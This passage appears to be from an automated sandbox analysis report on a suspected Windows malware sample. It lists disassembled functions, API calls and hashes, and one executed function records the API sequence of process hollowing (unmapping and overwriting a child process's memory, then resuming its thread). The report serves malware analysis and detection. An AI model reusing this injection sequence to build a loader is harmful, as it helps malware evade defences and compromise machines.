__get_sys_err_msg.LIBCMT ref: 0236671E
__invoke_watson.LIBCMT ref: 0236673B
__get_sys_err_msg.LIBCMT ref: 0236676D
__invoke_watson.LIBCMT ref: 0236678B

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __calloc_crt__get_sys_err_msg__invoke_watson$__getptd_noexit__initptd
String ID:
API String ID: 4066021419-0
Opcode ID: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction ID: a02860c7114ab6e0768a66b4c56c7b40c16e6ba36dacb9a909a21845165b1a4b
Opcode Fuzzy Hash: 560737a3d48f69e2c1bbacaa64e20750b253c0be39bebdd764001766347183bc
Instruction Fuzzy Hash: 5011B2316007146BEB317E65EC06B7B779DDF007E1F50856AFD08A6648EB29DD108EE4

Function 022B2670 Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 382COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022B26DB
_memset.LIBCMT ref: 022B2A30
_memset.LIBCMT ref: 022B2AC0

Strings

D, xrefs: 022B2AC8

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset
String ID: D
API String ID: 2102423945-2746444292
Opcode ID: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction ID: 9d18d4506dd6977c92a245c3a99ef9cdc57a0d7a8baa44fa31150cc7beb4b9a2
Opcode Fuzzy Hash: dedb8dcdcede06716d2048126f6c935cbca30f7ec4e51b62ea2b6cedae773fd8
Instruction Fuzzy Hash: 1BE16B71D1031AEACF25DFE0CD89FEEB7B8AF04304F144169E909A6194EB746A45CF64

Function 022AD8B0 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 228COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022AD8EA

Strings

(, xrefs: 022ADAE9
$, xrefs: 022ADAE2
, xrefs: 022ADADB

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset
String ID: $$$(
API String ID: 2102423945-3551151888
Opcode ID: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction ID: 4470b56041ed93f2b1ff60ed365f28a494f9da383ccfae9b9b14660e68fad561
Opcode Fuzzy Hash: d910fc5c6766dfc0bc4f58c39da0494fd508bff05af182706436a08bc08c5056
Instruction Fuzzy Hash: 1791CB70C10209EBEF21CFE0C869BEEBBB9AF05304F244569D40577685DBB65A48CFA4

Function 022C5CE1 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 91COMMONLIBRARYCODE

Download Yara Rule

APIs

_wcsnlen.LIBCMT ref: 022C5CF4

Strings

U, xrefs: 022C5CFD

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _wcsnlen
String ID: U
API String ID: 3628947076-3372436214
Opcode ID: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction ID: 1e71d7b20cf0d28c4c6d623c7e001d53e8844bdd5aa342ee17a5d34f4dfcb2bd
Opcode Fuzzy Hash: ddbdfe4e8834e254b395da421ec3c28ac3be050359a4b81b0499ab3bd56dfaa9
Instruction Fuzzy Hash: 87213B322343096AEB149AE4DC45BBA739DDB45360FB0026DF909E6198FF70F9508A90

Function 022BA810 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 022BA858
_memset.LIBCMT ref: 022BA869
_memset.LIBCMT ref: 022BA87A

Strings

p2Q, xrefs: 022BA882

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset
String ID: p2Q
API String ID: 2102423945-1521255505
Opcode ID: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction ID: 6aa9a682185ce21c0bcba22d9e143fe66c324d1b53861f111dc364f744a845d3
Opcode Fuzzy Hash: 46ecb9121aab2c4594d1f343841fc1340943ec8095ce101e3444a0aa36bfb78c
Instruction Fuzzy Hash: 9BF0ED78698B50A5F7217790BC27B857E917B31B09F104188E1182E2E5D3FD238CA79A

Function 022EFBDE Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 022EFBF1

Part of subcall function 022D169C: std::exception::_Copy_str.LIBCMT ref: 022D16B5

__CxxThrowException@8.LIBCMT ref: 022EFC06

Strings

TeM, xrefs: 022EFBE7, 022EFBFB
TeM, xrefs: 022EFBFE

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Copy_strException@8Throwstd::exception::_std::exception::exception
String ID: TeM$TeM
API String ID: 3662862379-3870166017
Opcode ID: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction ID: daf76cdd856701530ee89d82740defcbc837c52d6f9a996960b24dc3f81a0c39
Opcode Fuzzy Hash: 96199cc15ff6b6db5c9edb5d1ae12cb70dd59b1139974201ea7fd9c915f9b6e6
Instruction Fuzzy Hash: FCD06779C0034CBBCB04EFA5D459CDDBBB9AA04344B408466A91897645EB74A3598FD4

Function 022AD0E0 Relevance: 6.3, APIs: 4, Instructions: 254COMMON

Download Yara Rule

APIs

Part of subcall function 022C197D: __wfsopen.LIBCMT ref: 022C1988

_fgetws.LIBCMT ref: 022AD15C

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __wfsopen_fgetws
String ID:
API String ID: 853134316-0
Opcode ID: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction ID: 22ab7f40aee55c2d285be8c755250adf7eadc2874c8713eac090ffbc6062583a
Opcode Fuzzy Hash: fb686944b339c976eacea12c72b2cba8865104c98ae0a1a06473ea49a68c22d9
Instruction Fuzzy Hash: DB91E271D2031ADBCF21DFE4CC907AEB7B5AF04304F240629E815A7A49E7B5AA14CF91

Function 022AD540 Relevance: 6.2, APIs: 4, Instructions: 240COMMON

Download Yara Rule

APIs

__except_handler4.MSVCRT ref: 022AD77E
_malloc.LIBCMT ref: 022AD7B2
_malloc.LIBCMT ref: 022AD7C1
_fprintf.LIBCMT ref: 022AD815

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _malloc$__except_handler4_fprintf
String ID:
API String ID: 1783060780-0
Opcode ID: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction ID: c5b2aeae95568ae2dd73b4b1de35fda786575d1e92d8679623ae512c6f3ddf86
Opcode Fuzzy Hash: bc6d813e7e752583a03017172366884d0a88b051dc04778f03b6bdc3bc976eb1
Instruction Fuzzy Hash: 0FA19DB0C10348EBEF11EFE4CC55BEEBB76AF14308F140128D5057A695E7B65A48CBA6

Function 022C2AD0 Relevance: 6.2, APIs: 4, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

_memset.LIBCMT ref: 022C2B2E
__read_nolock.LIBCMT ref: 022C2BFE
__filbuf.LIBCMT ref: 022C2C21
_memset.LIBCMT ref: 022C2C65

Part of subcall function 022C5BA8: __getptd_noexit.LIBCMT ref: 022C5BA8

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock
String ID:
API String ID: 2974526305-0
Opcode ID: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction ID: 833ded753d0ac6bb46b1e440d4698e630b69511d68226b80051cdcce58d1e34e
Opcode Fuzzy Hash: 7a4cfea45ad1cabaf48d6d85d658ec87b7d71ccae72904ede4351d6e655b18a3
Instruction Fuzzy Hash: 99517270A20706DBDB258EF9C98466EB7A5AF40324F34872DEC35962D8DFB19A51CB40

Function 022E1359 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

__cftof_l.LIBCMT ref: 022E137D

Part of subcall function 022E1A9D: __fltout2.LIBCMT ref: 022E1AC6

__cftog_l.LIBCMT ref: 022E13A3
__cftoe_l.LIBCMT ref: 022E13D5

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction ID: 05107b3d5d973528772de5bf39d0121bfa4aa3334438423c31cd79fd08fb3898
Opcode Fuzzy Hash: e393168896588b0b80739e59f19fb333f0c598a6fe77797445646574719babf5
Instruction Fuzzy Hash: EF014B3242014ABBCF125EC4DC01CEE3F63BB19355B888525FA5E58538D376C9B1BB81

Function 02367A34 Relevance: 6.0, APIs: 4, Instructions: 48COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02367A4B

Part of subcall function 02368140: ___BuildCatchObjectHelper.LIBCMT ref: 02368172
Part of subcall function 02368140: ___AdjustPointer.LIBCMT ref: 02368189

_UnwindNestedFrames.LIBCMT ref: 02367A62
___FrameUnwindToState.LIBCMT ref: 02367A74
CallCatchBlock.LIBCMT ref: 02367A98

Memory Dump Source

Source File: 00000006.00000002.1341204110.00000000022A0000.00000040.00001000.00020000.00000000.sdmp, Offset: 022A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_22a0000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Catch$BuildObjectUnwind$AdjustBlockCallFrameFramesHelperNestedPointerState
String ID:
API String ID: 2901542994-0
Opcode ID: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction ID: aecca86b637c097e558c5d4e0cafba8720bac97b976e96bf360130365f570364
Opcode Fuzzy Hash: dd3ac78af2fd1184da527a8de72168518a9c3bdc752cc05c4f080d411e07ec88
Instruction Fuzzy Hash: 9D011732000109BBDF22AF55CC09EEA7BBEEF48758F148014F91865224C376E961DFA0

Analysis Process: E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.exePID: 8104, Parent PID: 1040COMMON

Execution Graph

Execution Coverage:	1.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	38
Total number of Limit Nodes:	8

Executed Functions

Function 02260110 Relevance: 22.7, APIs: 15, Instructions: 248
memorynativethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02260156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 0226016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02260255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02260270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02260283
Wow64GetThreadContext.KERNEL32(00000000,?), ref: 0226029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022602C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 022602E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02260304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 0226032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02260399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 022603BF
Wow64SetThreadContext.KERNEL32(00000000,?), ref: 022603E1
ResumeThread.KERNELBASE(00000000), ref: 022603ED
ExitProcess.KERNEL32(00000000), ref: 02260412

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$ContextWow64$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 93872480-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: 6975f47473910578c8bf627755963f257aed1976eadbf12ad98340565ea4cbfc
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 9DB1D975A00209AFDB44CF98C895FAEBBB5FF88314F248158E508AB395D771AE41CF94

Function 02260420 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02260533

Strings

mfoaskdfnoa, xrefs: 02260520, 02260523
d, xrefs: 02260584
saodkfnosa9uin, xrefs: 022604DA
0, xrefs: 02260492

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 86f4a1f0f4818a9bb8f6d4089dd308ad31749da4c03a3953a8794bcdebf2ecb4
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: F1511870D08388DAEB11CBE8C849BEDBFB2AF11708F144058D5447F28AC3FA5658CB66

Function 022605B0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 022605EC

Strings

apfHQ, xrefs: 022605E2, 022605E5
o, xrefs: 02260600

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 066b0a17a40e316645d6b414484a92d324488906a0ab443a94b2baec6ddf4a4f
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: AF012171C0425DEEDF10DBD8C5583AEBFB5AF41308F1480D9C4092B241D7B69B98DBA1

Function 021A47C6 Relevance: 3.0, APIs: 2, Instructions: 41
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000008,00000000), ref: 021A47EE
Module32First.KERNEL32(00000000,00000224), ref: 021A480E

Memory Dump Source

Source File: 00000007.00000002.1368339677.00000000021A4000.00000040.00000020.00020000.00000000.sdmp, Offset: 021A4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_21a4000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: CreateFirstModule32SnapshotToolhelp32
String ID:
API String ID: 3833638111-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: ba41c695ee28136ca4252bc949453ff4c586ac4be51ae7d3a0105bca0ccc48f4
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: A3F096392407506FD7203FF9A89DB6E76FCEF89725F100639E642914C0DBF0E8458A61

Function 021A4485 Relevance: 1.3, APIs: 1, Instructions: 48
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 021A44D6

Memory Dump Source

Source File: 00000007.00000002.1368339677.00000000021A4000.00000040.00000020.00020000.00000000.sdmp, Offset: 021A4000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_21a4000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: d7672a13a80da32f5dd2fb7480a549c69f53417fe05fb89627e80a696c2dce7f
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: FC113C79A40208EFDB01DF98C985E99BBF5AF08350F058094F9489B361D371EA90DF80

Non-executed Functions

Function 02286437 Relevance: 18.1, APIs: 12, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__calloc_crt.LIBCMT ref: 0228644E

Part of subcall function 02289636: __calloc_impl.LIBCMT ref: 02289645

__calloc_crt.LIBCMT ref: 02286472
_free.LIBCMT ref: 02286480
__calloc_crt.LIBCMT ref: 0228648E
_free.LIBCMT ref: 0228649E
_free.LIBCMT ref: 022864A4
__copytlocinfo_nolock.LIBCMT ref: 022864B3
__setmbcp_nolock.LIBCMT ref: 022864D4
_free.LIBCMT ref: 022864E2
___removelocaleref.LIBCMT ref: 022864E9
___freetlocinfo.LIBCMT ref: 022864F0
_free.LIBCMT ref: 022864F6

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock
String ID:
API String ID: 1442030790-0
Opcode ID: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction ID: 29e4d15dc5a5118dda36d081e40853e75f24b60527abca13b261c864355b09bd
Opcode Fuzzy Hash: 6bd5cc8f3dd8ebf785cdc17837931ce977b5cf0fd4524e89a9393df48daa8713
Instruction Fuzzy Hash: C721A131126702AEE7317FE5DC01E2F7BDADF41760B508429F449555ECEB26C560CE51

Function 02283F16 Relevance: 16.8, APIs: 11, Instructions: 258
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 02283F51

Part of subcall function 02285BA8: __getptd_noexit.LIBCMT ref: 02285BA8

__gmtime64_s.LIBCMT ref: 02283FEA
__gmtime64_s.LIBCMT ref: 02284020
__gmtime64_s.LIBCMT ref: 0228403D
__allrem.LIBCMT ref: 02284093
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022840AF
__allrem.LIBCMT ref: 022840C6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 022840E4
__allrem.LIBCMT ref: 022840FB
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 02284119
__invoke_watson.LIBCMT ref: 0228418A

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
String ID:
API String ID: 384356119-0
Opcode ID: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction ID: 6ce94f2ba7653a14f9f3d80cbfde79ca2b4ca222f80d624cc8172d8089abd772
Opcode Fuzzy Hash: 7fd9d583014fb9bd54c3649c392eeadef0098b2c5eee71df52b0c12f16343c62
Instruction Fuzzy Hash: FA71D871A22717ABDB14FEB9CC40B6AB3B9AF10724F144169E514E66D8EB74DA00CBD0

Function 0228650E Relevance: 16.6, APIs: 11, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__invoke_watson.LIBCMT ref: 02286547
__calloc_crt.LIBCMT ref: 02286598
__lock.LIBCMT ref: 022865AE
__copytlocinfo_nolock.LIBCMT ref: 022865BF
_wcscmp.LIBCMT ref: 022865F9
__lock.LIBCMT ref: 02286610
__updatetlocinfoEx_nolock.LIBCMT ref: 02286622
___removelocaleref.LIBCMT ref: 02286628
__updatetlocinfoEx_nolock.LIBCMT ref: 02286647

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__invoke_watson_wcscmp
String ID:
API String ID: 3432600739-0
Opcode ID: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction ID: efff85799835894c0b8deb4c3a0bfa051689123067b27b01fb4c9ec037c2dee1
Opcode Fuzzy Hash: 7aa5c98289f18997e9299cf2a82b2e33c44f00e8491ec962a9d4b764f8744340
Instruction Fuzzy Hash: 21412532922316AFDB00BFE4D941BAE7BEAAF04314F10842DE914562D8DF79D644DF11

Function 022884AB Relevance: 16.6, APIs: 11, Instructions: 92
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

___crtCorExitProcess.LIBCMT ref: 022884B1
_free.LIBCMT ref: 022884E2
_free.LIBCMT ref: 022884F5
_free.LIBCMT ref: 02288513
_free.LIBCMT ref: 02288525
_free.LIBCMT ref: 02288536
_free.LIBCMT ref: 02288541
_free.LIBCMT ref: 02288565
_free.LIBCMT ref: 02288581
_free.LIBCMT ref: 02288597
_free.LIBCMT ref: 022885BF

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _free$ExitProcess___crt
String ID:
API String ID: 1022109855-0
Opcode ID: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction ID: e74435fb7b3d452102b7a17293049a827654b85a34c8455564db1190656ea774
Opcode Fuzzy Hash: 351ddd14b24f1e3a4d385d89d907221036510e379468225c84414e37ce72688f
Instruction Fuzzy Hash: 0231E832912355DFCB11BF94FC8084A77E6FB14324345852AE908572F8CBB8D9C99F92

Function 022AFC0C Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 58COMMON

Download Yara Rule

APIs

std::exception::exception.LIBCMT ref: 022AFC1F

Part of subcall function 0229169C: std::exception::_Copy_str.LIBCMT ref: 022916B5

__CxxThrowException@8.LIBCMT ref: 022AFC34
std::exception::exception.LIBCMT ref: 022AFC4D
__CxxThrowException@8.LIBCMT ref: 022AFC62
std::regex_error::regex_error.LIBCPMT ref: 022AFC74

Part of subcall function 022AF914: std::exception::exception.LIBCMT ref: 022AF92E

__CxxThrowException@8.LIBCMT ref: 022AFC82
std::exception::exception.LIBCMT ref: 022AFC9B
__CxxThrowException@8.LIBCMT ref: 022AFCB0

Strings

leM, xrefs: 022AFCA8

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strstd::exception::_std::regex_error::regex_error
String ID: leM
API String ID: 3569886845-2926266777
Opcode ID: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction ID: 88734c30482099c4a81a1f2a51154eeb18ad1d4fe1b1d7bdecfcaf2b54863ba2
Opcode Fuzzy Hash: ed214ebb3701571be2f43069d920533da395f334550e3d3fd8b3428f3c6f404b
Instruction Fuzzy Hash: 5111EC79C0030DBBCF04FFE5D455CDDBB7DAA04344B408566AD1897644EB74A3588F94

Function 0226F010 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0226F01F

Part of subcall function 02281602: __FF_MSGBANNER.LIBCMT ref: 02281619
Part of subcall function 02281602: __NMSG_WRITE.LIBCMT ref: 02281620

_malloc.LIBCMT ref: 0226F02B
_wprintf.LIBCMT ref: 0226F03E
_free.LIBCMT ref: 0226F044
_free.LIBCMT ref: 0226F065
_malloc.LIBCMT ref: 0226F06D
_sprintf.LIBCMT ref: 0226F0C0
_wprintf.LIBCMT ref: 0226F0D2
_wprintf.LIBCMT ref: 0226F0DC
_free.LIBCMT ref: 0226F0E5

Memory Dump Source

Source File: 00000007.00000002.1368421417.0000000002260000.00000040.00001000.00020000.00000000.sdmp, Offset: 02260000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2260000_E9E758383C0F518C4DBD1204A824762F5FAC37375D8C5695C749AD1C36C0F108.jbxd

Yara matches

Similarity

API ID: _free_malloc_wprintf$_sprintf
String ID:
API String ID: 3721157643-0
Opcode ID: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction ID: afc7760412c192eb6056add6b981d12b4386b1b513e2a2f1eae3f0284a583ed1
Opcode Fuzzy Hash: 02ca39b803bb7accc6b95a63f2f9baed07ed6e7a95ba34453850edf5138b640f
Instruction Fuzzy Hash: 4A1127B25226607AD66177F41C11EFF3ADD9F45301F040169FE8DE11C8DA189A159BB1

Function 02271960 Relevance: 13.6, APIs: 9, Instructions: 149COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBCMT ref: 022719C6
__CxxThrowException@8.LIBCMT ref: 022719F1
__CxxThrowException@8.LIBCMT ref: 02271A1A
__CxxThrowException@8.LIBCMT ref: 02271A4B
_memset.LIBCMT ref: 02271A6A
